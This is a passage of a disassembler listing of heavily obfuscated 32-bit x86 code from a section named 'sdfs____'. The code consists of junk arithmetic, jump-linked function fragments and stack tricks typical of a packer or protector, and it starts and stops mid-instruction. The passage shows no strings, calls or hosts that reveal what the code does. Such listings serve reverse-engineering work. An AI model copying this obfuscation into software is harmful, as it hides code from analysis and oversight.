ebp pop ebp inc ebx jz loc_591BE6 jmp loc_5966AB ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push 18E9h jmp loc_591DE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_59447C: ; CODE XREF: sub_596736+C8Dj add eax, 4 sub eax, 4 xchg eax, [esp+0] jmp loc_5942B9 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59448E: ; CODE XREF: sub_591435-3854j sub edi, 57012499h add edi, edx add edi, 57012499h pop edx xor edi, [esp+10h+var_10] jmp loc_595B82 ; --------------------------------------------------------------------------- loc_5944A5: ; CODE XREF: sub_591435:loc_593C79j sub ebp, 0B0AFE564h dec ebp jmp loc_58BF95 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5944B1: ; CODE XREF: sdfs____:00597C4Ej jmp loc_597105 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5944B6: ; CODE XREF: sub_5917C0+558Ej ; sub_58FE99+7D16j push esi push 69BF0B9Ch mov esi, [esp+0] add esp, 4 push ebx mov ebx, esp push esi jmp loc_590819 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5944CB: ; CODE XREF: sub_591370+6477j shr edx, 6 xor edx, 45FA45ACh sub ebp, edx pop edx add ebp, edi add ebp, 45BA74E8h jmp loc_596320 ; --------------------------------------------------------------------------- loc_5944E4: ; CODE XREF: sub_591370+24F0j add edi, ecx add edi, 43AA07F0h jmp sub_591A46 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5944F1: ; CODE XREF: sub_5917C0+3F30j neg edi inc edi xor edi, 0ABA99A3Ch sub ecx, edi jmp loc_5955D9 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594501: ; CODE XREF: sub_591370+3BF2j add [esp+4], edi pop edi jmp loc_59872D ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59450B: ; CODE XREF: sub_591435+2DCCj mov ecx, eax pop eax jmp loc_58F1CF ; --------------------------------------------------------------------------- loc_594513: ; CODE XREF: sub_591435-439Cj add esp, 4 push ebp mov ebp, 54856DEEh xor esi, ebp pop ebp and eax, esi pop esi shr eax, 0Ch xor eax, ecx xor eax, ebp xor ebp, eax jmp loc_5988E7 ; --------------------------------------------------------------------------- loc_594530: ; CODE XREF: sub_591435-31EDj xor eax, 1FA027F4h add eax, 1 not eax jmp loc_58BA4D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59453F: ; CODE XREF: sdfs____:0058FB53j pop ebx add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] movzx ecx, ax push 5252h mov [esp], ecx jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_594562: ; CODE XREF: sdfs____:00594B87j mov dl, 0C5h jmp loc_597525 ; --------------------------------------------------------------------------- loc_594569: ; CODE XREF: sdfs____:005920B8j pop esp jmp loc_59564E ; --------------------------------------------------------------------------- loc_59456F: ; CODE XREF: sdfs____:00590E7Cj mov eax, 0A985C1Fh push ecx mov ecx, 23AE11C6h jmp loc_58F9D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59457F: ; CODE XREF: sub_5917C0+5EEBj shr cl, 6 push 3AD0h mov [esp+0], eax mov al, 1Ah xor cl, al jmp loc_591CC4 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594593: ; CODE XREF: sub_591435+5A31j push [esp+0Ch+var_C] mov ebx, [esp+10h+var_10] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5984E5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- push eax jmp loc_58F997 ; --------------------------------------------------------------------------- loc_5945B3: ; CODE XREF: sdfs____:00597461j xor [esp], edi xor edi, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_597742 ; --------------------------------------------------------------------------- loc_5945C5: ; CODE XREF: sdfs____:005947A8j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5945CA: ; CODE XREF: sdfs____:00593B11j mov edx, 917DC7DBh sub ecx, edx jmp loc_598039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5945D6: ; CODE XREF: sub_5962EB-5309j sub edi, 435F3EA3h sub esi, edi pop edi jmp loc_58EA96 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_5945E4: ; CODE XREF: sdfs____:0058D5B4j mov edi, 6E7F2BF9h jmp loc_591536 ; --------------------------------------------------------------------------- loc_5945EE: ; CODE XREF: sdfs____:0058C0EDj or edi, 4E5C463Eh and edi, 3167CEFh dec edi sub edi, 68010E42h xor edi, 875F0BE9h and ecx, edi pop edi add ecx, 9970A3Fh or ecx, 4C7E5A9Eh and ecx, 70D41F91h shr ecx, 6 xor ecx, 0A0842B84h sub edi, ecx jmp loc_58FCA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE3C loc_59462C: ; CODE XREF: sub_58FE3C+1j mov ebx, 2 add ecx, 265A24B6h add ecx, ebx sub ecx, 265A24B6h pop ebx xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] pop esp jmp loc_5987E6 ; END OF FUNCTION CHUNK FOR sub_58FE3C ; --------------------------------------------------------------------------- loc_59464F: ; CODE XREF: sdfs____:0058FB87j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_594669: ; CODE XREF: sdfs____:00597E62j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp shr word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59467D: ; CODE XREF: sub_5917C0-56A5j add edx, 4 push eax mov eax, 6D4B0016h not eax sub eax, 400E5C30h sub eax, 52A6A3B5h add edx, eax pop eax xchg edx, [esp+0] pop esp jmp loc_59513A ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5946A1: ; CODE XREF: sdfs____:00595093j pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_591060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_5946AD: ; CODE XREF: sub_594F18-929Dj xor ebp, 84132Ch push esi mov esi, 357267D4h and ebp, esi jmp loc_593F88 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- lodsb push small 7C3Dh mov [esp], bx jmp loc_591EEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5946CE: ; CODE XREF: sub_5917C0+6F97j sub bl, 4Dh add bl, 0EBh add bl, 18h jmp loc_58D935 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5946DC: ; CODE XREF: sdfs____:005957AFj pop small word ptr [eax] jmp loc_5968B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5946E4: ; CODE XREF: sub_5962EB:loc_58E0E3j ; sdfs____:0058E2FEj mov dh, 0Dh sub al, 0A6h sub al, dh add al, 0A6h jmp loc_597C12 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_5946F1: ; CODE XREF: sdfs____:00593561j mov ecx, 6B946467h and ecx, 57BE1C92h jmp loc_593924 ; --------------------------------------------------------------------------- loc_594701: ; CODE XREF: sdfs____:0059536Cj ; sdfs____:005983A8j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_594706: ; CODE XREF: sdfs____:0058DAB2j pop esp inc dword ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594710: ; CODE XREF: sub_5941BD-7414j ; sub_591435+548Aj pop ecx add esp, 4 push ebx push edx push 1Ch pop edx mov ebx, edx pop edx push edi mov edi, 38351DE3h sub edi, 0F9A7D156h add ebx, edi pop edi add ebx, edi push 266Fh mov [esp+0Ah+var_C+2], edx mov edx, 7E477E5Ah push edi mov edi, 3FBA31CDh jmp loc_58E4B9 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_594748: ; CODE XREF: sub_5941BD+6j add ebp, 4FF2262Dh sub ebp, edi sub ebp, 4FF2262Dh xchg ebp, edi jmp loc_598413 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_59475D: ; CODE XREF: sdfs____:0058D269j mov ebx, 7DA2197h jmp loc_597A32 ; =============== S U B R O U T I N E ======================================= sub_594767 proc near ; CODE XREF: sub_58EB48+1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BB40 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00592193 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00598534 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 30716AF9h push ebx push 4D403E5Eh push [esp+0Ch+var_C] jmp loc_598534 sub_594767 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594780: ; CODE XREF: sub_591370+3ACCj add eax, 3F6D395Bh xor ebx, eax pop eax xor eax, ebx jmp loc_5975A3 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59478F: ; CODE XREF: sdfs____:005917A8j add edx, eax mov eax, [esp] add esp, 4 add edx, 2 xchg edx, [esp] pop esp xor [esp], al pushf jmp loc_5945C5 ; --------------------------------------------------------------------------- loc_5947AD: ; CODE XREF: sdfs____:loc_58C420j shr ecx, 4 jmp loc_5953A9 ; --------------------------------------------------------------------------- loc_5947B5: ; CODE XREF: sdfs____:0059773Dj sub esp, 4 mov [esp], edx jmp loc_597DC9 ; --------------------------------------------------------------------------- loc_5947C3: ; CODE XREF: sdfs____:0059713Cj mov esi, [esp] add esp, 4 push edi mov edi, 49C05ACBh sub eax, edi mov edi, [esp] add esp, 4 sub eax, 54804244h sub eax, 6EC72A4Eh jmp loc_58BC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59666E loc_5947EC: ; CODE XREF: sub_59666E-9289j add esp, 4 add esp, 4 xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+0], cx movzx cx, al jmp loc_58BC09 ; END OF FUNCTION CHUNK FOR sub_59666E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_594808: ; CODE XREF: sub_59587A-7606j mov ebp, [esp+0] sub esp, 4 jmp loc_5929CF ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_594816: ; CODE XREF: sdfs____:0058F99Dj xor [esp+4], edx mov edx, [esp] push 75A9h jmp loc_598D80 ; --------------------------------------------------------------------------- loc_594827: ; CODE XREF: sdfs____:00591EF2j pop bx add al, 17h add al, 49h sub al, bl sub al, 49h push ecx push ebx mov bl, 17h mov ch, bl pop ebx sub al, 19h add al, 34h sub al, ch sub al, 34h push edx jmp loc_592E27 ; --------------------------------------------------------------------------- loc_594846: ; CODE XREF: sdfs____:00591C6Dj push esi push eax mov eax, 615551FFh add eax, 0B88DFF07h mov esi, eax pop eax mov ebp, esi pop esi push ebp xor dword ptr [esp], 6888792Eh pop esi push ecx jmp loc_594D7A ; --------------------------------------------------------------------------- loc_594867: ; CODE XREF: sdfs____:00591FC6j add dword ptr [esp], 4 mov ebx, [esp] jmp loc_58CB83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594876: ; CODE XREF: sub_591370-CB2j add al, 0E5h add al, cl push ecx mov ch, 0A9h or ch, 3Fh xor ch, 5Ah sub al, ch pop ecx jmp loc_58F6F5 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59488B: ; CODE XREF: sdfs____:0058EFC4j sub dword ptr [esp+4], 3E30187Dh sub [esp+4], ecx add dword ptr [esp+4], 3E30187Dh push dword ptr [esp] pop ecx add esp, 4 jmp loc_594F71 ; --------------------------------------------------------------------------- loc_5948AB: ; CODE XREF: sdfs____:0058CB7Ej neg ecx push ebp jmp loc_598999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_5948B3: ; CODE XREF: sub_594F18-69FDj sub [esp+8+var_8], 48161FCh jmp loc_59087F ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_5948BF: ; CODE XREF: sdfs____:loc_596AB6j inc eax jge loc_596C98 sub eax, 546F2820h js loc_596B45 mov eax, ebp loc_5948D3: ; CODE XREF: sdfs____:0058EF44j mov [esp], esi jmp loc_598454 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_5948DB: ; CODE XREF: sub_5BB696-2E05Fj not ecx neg ecx jnz loc_58C873 xor ecx, 4A1C71DDh mov edx, ecx pop ecx sub al, 37h push esp loc_5948F1: ; CODE XREF: sdfs____:loc_58C781j add ch, 0E9h dec ch jmp sub_58E01A ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5948FB: ; CODE XREF: sub_5917C0+14CAj add eax, 4 sub eax, 2 push eax push [esp-10h+arg_10] pop eax jmp loc_5909FF ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_594910: ; CODE XREF: sdfs____:00592E7Ej pop esp mov [esp], edx jmp loc_59627D ; --------------------------------------------------------------------------- loc_594919: ; CODE XREF: sdfs____:0058C4DBj mov eax, ebx pop ebx jmp loc_596463 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp sub esp, 4 jmp loc_58BB69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594933: ; CODE XREF: sub_591435-17D9j xchg edi, [esp+4+var_4] pop esp push dword ptr [esp+0] jmp loc_58CF0B ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59493F: ; CODE XREF: sdfs____:00598787j xor [esp], edx jmp loc_595ED5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_594947: ; CODE XREF: sub_58CDE6+3AFj jns loc_58DFF8 jmp loc_5922C4 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- mov ebx, [esp] add esp, 4 loc_59495B: ; CODE XREF: sdfs____:0058DE94j ; sdfs____:005902A2j xor edi, [esp] pop esp jmp loc_590E4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_594964: ; CODE XREF: sub_5917C0-38BAj pop ebx pop dword ptr [esp+0] pop esp mov [esp-8+arg_4], eax mov eax, 3AA754CEh add eax, 1 sub eax, 0F7210E1Fh xor esi, eax mov eax, [esp-8+arg_4] push ecx mov ecx, esp jmp loc_598169 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_594986: ; CODE XREF: sdfs____:0058D5D8j mov dh, ah jmp loc_595A0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59498D: ; CODE XREF: sub_5917C0-19D4j mov ecx, [esp-4+arg_0] add esp, 4 xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] jmp loc_58DA54 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5949A4: ; CODE XREF: sdfs____:0059652Ej dec esi jl loc_58C3AB jmp loc_5981A6 ; --------------------------------------------------------------------------- shl bh, 4 sub cl, 7Fh loc_5949B6: ; CODE XREF: sdfs____:0058EBD2j xor [esp], edi xor edi, [esp] pop esp jmp loc_58C6FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_5949C2: ; CODE XREF: sub_598A21-8488j pop ecx sub ecx, 57E92DE4h mov edi, [esp-4+arg_0] add esp, 4 and eax, ecx jmp loc_58C621 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5949D9: ; CODE XREF: sdfs____:00595234j ; sub_5962EB-4D6j and [edi+1Ch], eax pop eax jmp loc_59226D ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5949E2: ; CODE XREF: sub_591435-E83j sub ebx, 7EAB3A11h pop edi jmp loc_58B9DE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5949EE: ; CODE XREF: sdfs____:00591537j js loc_592262 sub esp, 4 jmp loc_59155C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_5949FF: ; CODE XREF: sub_5BB696-2EE0Dj xchg ebx, edi jmp loc_595938 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_594A06: ; CODE XREF: sdfs____:0059663Fj add esp, 4 add al, 12h push edi push esp pop edi add edi, 4 push edx mov edx, 40E6893h sub edx, 5FDD0BD2h sub edx, 444D2CE3h push ebx mov ebx, 5FE42FDAh xor edx, ebx pop ebx jmp loc_595C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594A34: ; CODE XREF: sub_591435+337j mov ebp, [esp+6+var_8+2] push ebp push esp pop ebp add ebp, 4 jmp loc_58F3ED ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax mov eax, 682604C7h push 630Eh mov [esp], eax jmp loc_590877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_594A5D: ; CODE XREF: sub_5962EB-42F5j shr edx, 1 and edx, 14A6492h jmp sub_593131 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_594A6A: ; CODE XREF: sub_59587A-30C8j push edx mov edx, 56D15BBCh sub edx, 709A219Ch sub edx, 1C2701E1h shr edx, 6 and edx, 2828385Ah shr edx, 7 sub edx, 0FC4A24F2h add eax, edx pop edx add eax, 725E46A3h sub eax, edx jmp loc_58C4B9 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_594A9D: ; CODE XREF: sdfs____:0058EEB2j ; sub_594228+376Ej add edx, 4 push edx jmp loc_58FAD2 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_594AA6: ; CODE XREF: sub_58BAD7+8886j push dword ptr [esp+0] pop ecx add esp, 4 mov eax, ecx jmp loc_58CA56 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- loc_594AB4: ; CODE XREF: sdfs____:005977BAj push dword ptr [esp] jmp loc_597587 ; --------------------------------------------------------------------------- loc_594ABC: ; CODE XREF: sdfs____:005921FAj js loc_590C1E sub edx, 56738F2Dh and eax, edx pop edx or eax, eax jz loc_58C939 push 16BEh mov [esp], ebx mov ebx, 0FEh and [edi+1Ch], ebx push dword ptr [esp] pop ebx push 6D20h mov [esp], edx mov edx, esp push eax mov eax, 30BD06D1h push ecx mov ecx, 30BD06D5h xor eax, ecx pop ecx add edx, eax jmp loc_597FC8 ; --------------------------------------------------------------------------- loc_594B07: ; CODE XREF: sdfs____:00597A9Bj mov eax, 625E3170h mov esi, eax jmp loc_5916E8 ; --------------------------------------------------------------------------- loc_594B13: ; CODE XREF: sdfs____:00590F2Fj mov esi, 6ADF3C85h jmp loc_58F85C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_594B1D: ; CODE XREF: sub_595678+217Fj mov esi, 0E372CFE3h sub edx, esi pop esi mov ecx, edx pop edx jmp loc_593A75 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- loc_594B2D: ; CODE XREF: sdfs____:00597C47j not edi shr edi, 3 jp loc_5965C7 and edi, 633150ADh jl loc_598DE3 jmp loc_592EE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_594B49: ; CODE XREF: sub_5941BD+20B4j add ebp, 4 xchg ebp, [esp+14h+var_14] pop esp add ebp, 47A54F9Fh add ebx, 18350B1Dh sub ebx, ebp push edi mov edi, 18350B1Dh sub ebx, edi pop edi mov ebp, [esp+10h+var_10] add esp, 4 mov eax, ebx mov ebx, [esp+0Ch+var_C] jmp loc_593303 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- lodsb sub al, 0FBh add al, 0C5h sub al, bl sub esp, 4 mov [esp], edx jmp loc_594562 ; --------------------------------------------------------------------------- loc_594B8C: ; CODE XREF: sdfs____:00595857j jmp loc_591C34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_594B91: ; CODE XREF: sub_594228+1848j push edi push esp pop edi add edi, 4 sub esp, 4 mov [esp+22h+var_24+2], eax mov eax, 16DA6152h xor eax, 16DA6156h sub edi, eax mov eax, [esp+22h+var_24+2] add esp, 4 xchg edi, [esp+1Eh+var_20+2] pop esp mov [esp+1Ah+var_1C+2], edi jmp loc_5959FB ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_594BC1: ; CODE XREF: sdfs____:0058BA0Bj not dword ptr [esp] pop ecx push esi mov esi, 6E004DEFh add esi, 0C4C724E4h and ecx, esi pop esi add ecx, 0FFFFFFFFh xor ecx, 8515F770h sub edi, ecx pop ecx jmp loc_5902FF ; --------------------------------------------------------------------------- loc_594BE5: ; CODE XREF: sdfs____:0058D434j push dword ptr [esp] pop edx add esp, 4 pop ebx jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_594BF5: ; CODE XREF: sub_58FE99+26BEj pop esp jmp loc_595425 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_594BFB: ; CODE XREF: sdfs____:0059344Dj shr edi, 4 push esi mov esi, 27E33078h add esi, 0EF311173h xor edi, esi pop esi sub edi, 19F708E4h add edx, edi pop edi add edx, 2 xchg edx, [esp] mov esp, [esp] mov cx, [esp] jmp loc_592F34 ; --------------------------------------------------------------------------- loc_594C28: ; CODE XREF: sdfs____:0058E288j push edi jmp loc_59336D ; --------------------------------------------------------------------------- loc_594C2E: ; CODE XREF: sdfs____:005987CAj shr dh, 6 sub esp, 2 mov [esp], ax mov al, 1 jmp loc_59069E ; --------------------------------------------------------------------------- loc_594C42: ; CODE XREF: sdfs____:00596D0Bj sub bh, 0C2h sub al, 86h sub al, bh add al, 86h pop ebx sub esp, 2 mov [esp], dx sub esp, 4 mov [esp], ecx mov ch, 6Ah xor ch, 64h mov dh, ch mov ecx, [esp] add esp, 4 sub al, dh mov dx, [esp] push edx mov edx, esp jmp loc_595B68 ; --------------------------------------------------------------------------- loc_594C77: ; CODE XREF: sdfs____:00591B71j add esi, 5A047DA5h jmp loc_58D854 ; --------------------------------------------------------------------------- loc_594C82: ; CODE XREF: sdfs____:00592C14j push eax mov ah, 0AAh mov dh, ah pop eax not dh sub dh, 0C5h jmp loc_5982E8 ; --------------------------------------------------------------------------- loc_594C92: ; CODE XREF: sdfs____:00598285j sub edi, 7130FA9h jmp loc_5959C8 ; --------------------------------------------------------------------------- loc_594C9D: ; CODE XREF: sdfs____:00594188j sub esp, 4 mov [esp], esi jmp loc_58FE67 ; --------------------------------------------------------------------------- loc_594CA8: ; CODE XREF: sdfs____:0058E574j pop esi add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_58CBDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_594CBD: ; CODE XREF: sub_5BB696-299F1j sub eax, 4 xchg eax, [esp+24h+var_24] pop esp mov [esp+20h+var_20], ebx jmp loc_5965FA ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594CCC: ; CODE XREF: sub_591435-2026j jo loc_59114A sub esi, 3FF73F73h mov ecx, esi pop esi add ebp, ecx mov ecx, [esp+0Eh+var_10+2] add esp, 4 jmp loc_5933B9 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_594CE8: ; CODE XREF: sub_5985AE-47A3j mov [esp-4+arg_0], ebp jmp loc_593C2E ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_594CF0: ; CODE XREF: sub_594228-17A9j mov ebp, [esp+1Ah+var_1C+2] jmp loc_596DB9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594CF8: ; CODE XREF: sub_591435+637Dj sub ecx, 6A4B39B6h jmp loc_597F5F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_594D03: ; CODE XREF: sdfs____:00596A03j not esi add esi, 14A398Bh jmp loc_58EB61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_594D10: ; CODE XREF: sub_590561+17C2j pop ecx not si jmp loc_597915 ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594D19: ; CODE XREF: sub_591370-2F51j jmp loc_593720 ; --------------------------------------------------------------------------- loc_594D1E: ; CODE XREF: sub_591370+5603j push edi push ecx push 3E160475h pop ecx neg ecx jmp loc_5977BF ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_594D2D: ; CODE XREF: sub_59369D-1097j pop ecx add eax, 5284710h sub eax, ecx sub eax, 5284710h pop ecx jmp loc_58C5B8 ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594D40: ; CODE XREF: sub_591435-1D67j add ecx, 4 xchg ecx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push ebx mov ebx, esp jmp loc_595FE5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591397 loc_594D51: ; CODE XREF: sub_591397+31j add al, 0Ah mov ch, al mov eax, [esp+0] add esp, 4 xor dl, ch pop ecx sub dl, 26h jmp sub_5970DE ; END OF FUNCTION CHUNK FOR sub_591397 ; --------------------------------------------------------------------------- loc_594D69: ; CODE XREF: sdfs____:loc_590869j ; sdfs____:00593A8Cj mov [esp], edx jmp loc_592589 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_594D71: ; CODE XREF: sub_591AD9+4004j xor esi, eax xor eax, esi jmp loc_58D5B9 ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- loc_594D7A: ; CODE XREF: sdfs____:00594862j mov ecx, 6888792Eh xor esi, ecx pop ecx pop ebp sub eax, 24113C9Ah sub eax, 29DB7F70h add eax, esi add eax, 29DB7F70h push edi jmp loc_58D9D1 ; --------------------------------------------------------------------------- loc_594D9A: ; CODE XREF: sdfs____:00598D6Ej add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp jmp loc_59742A ; --------------------------------------------------------------------------- loc_594DB1: ; CODE XREF: sdfs____:0058E50Bj add esp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5965F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_594DC2: ; CODE XREF: sub_59841F-627j jmp loc_597A49 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_594DC7: ; CODE XREF: sdfs____:00597D73j mov eax, edx pop edx add ebx, eax pop eax pop edi sub eax, 6A7B7B63h add eax, 7BC0167Eh sub eax, 2EE84E29h sub eax, ebx add eax, 2EE84E29h sub eax, 7BC0167Eh push ebp mov ebp, 3B937A0Eh neg ebp and ebp, 317A0469h push eax mov eax, 95EC88FDh sub ebp, eax pop eax add eax, ebp pop ebp pop ebx add eax, ebx jmp loc_593865 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_594E0B: ; CODE XREF: sub_5BB696-2AAB1j ; sdfs____:00593CFAj pop ebx jmp loc_5950FA ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_594E11: ; CODE XREF: sub_591435+27F4j mov 